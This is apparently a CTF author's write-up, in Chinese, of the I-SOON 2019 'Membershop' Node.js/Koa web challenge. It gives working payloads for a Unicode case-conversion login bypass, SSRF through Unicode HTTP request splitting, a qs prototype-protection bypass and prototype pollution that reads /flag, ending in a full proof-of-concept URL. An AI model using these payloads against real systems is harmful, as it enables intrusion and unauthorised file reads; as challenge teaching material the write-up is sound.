I-SOON2019-Membershop出题思路

写在前面

今年是第二年出题,鉴于去年题目过于简单(去年我是真的sb且敷衍),今年题目我憋了蛮长时间的(狗日的前端),本希望做到这题的师傅们能有所收获。但是比赛跟各位师傅的时间还是冲突了,加之校赛的局限,实际也没多少人在打。比赛当天下午,Membershop容器的峰值也就5、6个的样子。其实题目并不是很难。

虽然最后没能达到自己预期的做题效果,算是有点点失望吧。但是我相信D0g3一定能把比赛办出去,感谢运维小哥@0akarma跟我一起调试动态容器的bug,关于全部的题目环境在:http://dao.ge/isoon2019

环境搭建

题目开源地址:https://github.com/Hpd0ger/My_ctf_challenge/

修改index.js的server_ip为环境的ip

docker-compose build
docker-compose up -d

解题步骤

登陆的时候过滤了admin,同时发现小写字符转换成了大写字母显示。结合set-cookie是koa的框架,很容易联想到后端使用toUpperCase()做转换,拉丁文越权登陆admın

image_1dr12lu22vs4iq44id1vuas21m.png-38.1kB

登陆成功之后多了一个请求记录的功能,同时登陆成功后给出源码的地址

image_1dr12phlo1hc31vqi17fvahuhgr16.png-48.1kB

拿到源码后简单看登陆逻辑
image_1dmbk6vlo19d413cc13h8b108q913.png-57.7kB

逻辑根据传入的用户名userName会在登陆前经过一次检测
image_1dmbk45jltj28kro9c1kjdkshm.png-65.8kB

当传入的用户名包含admin时,则自动循环replace掉。在登陆成功的同时会把username写进session里,这里可以看到只有我们登陆了admin才有权限加载其他模版
image_1dmbkcg89ijlmd61vef209bti1g.png-160.3kB

漏洞点在代码76-117行,它只允许请求以http://127.0.0.1:3000/query(后面拉到本地环境会改127.0.0.1这个地址,这是我本地debug)开头的url。输入其他开头的url会被error url,而且不存在任何host的绕过。当请求之后会被记录在sandbox的results.txt里面并且支持追加,sandbox根据ip建立
image_1dmbkrtpt1pkv1q561o9kf2p10hj2n.png-28.9kB
image_1dmbku3fk399n211cvq49r1emt34.png-33.7kB

因为query也是一个路由,那么这里就存在一个ssrf。如何bypass去请求其他路由呢?只需要用unicode编码并且分割http包,例如

http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}

url编码是16进制,\u{01xx}在http.get的时候不会进行percent encode,但是在buffer写入的时候会把xx解码。其中\u{0173}\u{0161}\u{0176}\u{0165}代表的是save,73617665是save的16进制表示。具体原理可以看:通过拆分请求来实现的SSRF攻击

接着就寻找一下其他路由存在的问题,可利用点在/save

home.get('/save',async(ctx)=>{
    let ip = ctx.request.ip;
    let reqbody = {switch:false}
    reqbody = qs.parse(ctx.querystring,{allowPrototypes: false});

    if (ip.substr(0, 7) == "::ffff:") {
        ip = ip.substr(7);
    }
    if (ip !== '127.0.0.1' && ip !== server_ip) {
        ctx.status = 403;
        ctx.response.body = '403: You are not the local user';
    }else {
        if(reqbody.switch === true && reqbody.sandbox && reqbody.opath &&fs.existsSync(reqbody.spath)){
            if(fs.existsSync(reqbody.sandbox)){
                paths.opath = fs.readdirSync(reqbody.sandbox)[0];
            }else if(fs.existsSync(reqbody.opath)){
                let buffer;
                tmp[reqbody.sandbox]['opath'] = reqbody.opath;
                if(/[flag]/.test(tmp[reqbody.sandbox]['opath'])){
                    buffer = tmp[reqbody.sandbox]['opath'].replace(/f|l|a|g/g,'');
                }else{
                    buffer = reqbody.opath;
                }
            }
            let opath = paths.opath? paths.opath : buffer;
            let text = fs.readFileSync(opath, 'utf8');
            await WriteResults(reqbody.spath,text);

        }else{
            return false;
        }
    }
})

这里大致有两个障碍点:

1、限制了本地127.0.0.1访问
->ssrf解决

2、通过qs包解析url参数存为对象,switch默认为flase,配置allowPrototypes=false,直接传递http参数不能覆盖switch。qs.parse() bypass for prototype pollution@qs<6.3,参考链接:Prototype Override Protection Bypass,传参:]=switch绕过

3、解析获得的对象需要三个参数sandbox、opath、spath。代码逻辑就是如果存在sandbox那么就取sandbox下的第一个文件(即results.txt)读取后写入spath,否则读取自定义的opath,将结果写入spath(两者前提都是spath必须存在且可写,只有sandbox/result.txt满足要求)。但是自定义opath会替换所有的[flag]字段,不允许直接读flag。

这里存在判断的绕过。原型链污染sandbox下的一个文件为/flag,再去自定义读到spath里

tmp['__proto__']['opath'] = '/flag';
=>
paths.opath = /flag

构造一下就能把flag追加写入到sandbox/results.txt。poc如下,调整一下opath为flag地址,sandbox为自己的md5(ip)就行了:

encodeURI("http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}?]=switch&sandbox=__proto__&opath=/flag&spath=tmp/ab54a5cf83f67d827ecba68e394f9196")
not found!